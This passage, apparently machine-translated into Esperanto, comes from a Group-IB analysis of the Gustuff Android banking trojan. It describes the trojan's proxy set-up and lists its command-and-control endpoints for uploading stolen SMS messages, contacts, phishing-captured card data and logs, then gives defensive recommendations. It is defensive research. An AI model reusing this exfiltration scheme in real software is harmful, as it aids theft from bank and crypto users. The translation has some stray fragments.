Kiam komando connectionId estas ricevita (por krei novan konekton) CommandConnection kreas ekzemplon de la klaso ProxyConnection.

  • Du klasoj partoprenas en prokurado: ProxyConnection и fino. Kiam oni kreas klason ProxyConnection konekto estas farita al la adreso ProxyConfigClass.gastiganto: ProxyConfigClass.proxyPort kaj pasante JSON-objekton:

 {
    "id":<%connectionId%>
}

En respondo, la servilo sendas SOCKS5-mesaĝon enhavantan la adreson de la fora servilo al kiu la ligo devas esti establita. Interago kun ĉi tiu servilo okazas tra la klaso fino. Skeme, la konekto-aranĝo povas esti reprezentita jene:

Kiel la Gustuff Android-trojano forprenas la kremon (fiat kaj crypto) el viaj kontoj

Retaj interagoj

Por malhelpi retajn snufistojn analizi trafikon, la interago inter la CnC-servilo kaj la aplikaĵo povas esti sekurigita per la SSL-protokolo. Ĉiuj transdonitaj datumoj kaj de la servilo kaj al la servilo estas en formato JSON. La aplikaĵo plenumas la jenajn petojn dum operacio:

  • http://<%CnC%>/api/v1/set_state.php estas la rezulto de komanda ekzekuto.
  • http://<%CnC%>/api/v1/get.php - ricevi ordonon.
  • http://<%CnC%>/api/v1/load_sms.php — elŝuti SMS-mesaĝojn de infektita aparato.
  • http://<%CnC%>/api/v1/load_ab.php — alŝuti la liston de kontaktoj de la infektita aparato.
  • http://<%CnC%>/api/v1/aevents.php – la peto estas farita dum la ĝisdatigo de la parametroj en la preferdosiero.
  • http://<%CnC%>/api/v1/set_card.php - alŝuti datumojn akiritajn per phishing-fenestro maskanta kiel la Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – malŝarĝante protokolojn.
  • http://<%CnC%>/api/v1/records.php – alŝuti datumojn akiritajn per phishing-fenestroj.
  • http://<%CnC%>/api/v1/set_error.php - sciigo pri eraro.

rekomendoj

Por protekti siajn klientojn kontraŭ la minaco de moveblaj trojanoj, kompanioj devas uzi ampleksajn solvojn, kiuj ebligas, sen instali aldonan programaron sur la aparatoj de uzantoj, kontroli kaj malhelpi malican agadon.

Por fari tion, subskrib-bazitaj metodoj por detekti moveblajn trojanojn devas esti plibonigitaj per teknologioj por analizi la konduton de kaj la kliento kaj la aplikaĵo mem. Ankaŭ, protekto devus inkluzivi la funkcion identigi aparatojn uzante ciferecan fingrospuran teknologion, kiu ebligos kompreni kiam konto estas uzata de maltipa aparato kaj jam falis en la manojn de fraŭdo.

Fundamente grava punkto estas la ebleco de transkanala analizo, kiu permesas al kompanioj kontroli la riskojn, kiuj ŝprucas flanke de ne nur interreto, sed ankaŭ de la movebla kanalo, ekzemple, en aplikoj por movebla bankado, por operacioj kun kriptaj moneroj. kaj ajna alia kie ĝi povas esti efektivigita.financa transakcio.

Sekurecaj reguloj por uzantoj:

  • ne instalu aplikojn por poŝtelefono kun Android OS el aliaj fontoj krom Google Play, atentu specialan la rajtojn postulatajn de la aplikaĵo;
  • regule instali ĝisdatigojn de Android OS;
  • atentu la etendaĵojn de alŝutitaj dosieroj;
  • ne vizitu suspektindajn rimedojn;
  • Ne alklaku ligilojn ricevitajn en SMS-mesaĝoj.

Ĉefrolado Semjon Rogachev, Asociita Malica Kodo-Esploristo, Group-IB Computer Forensics Lab.

fonto: www.habr.com

Aldoni komenton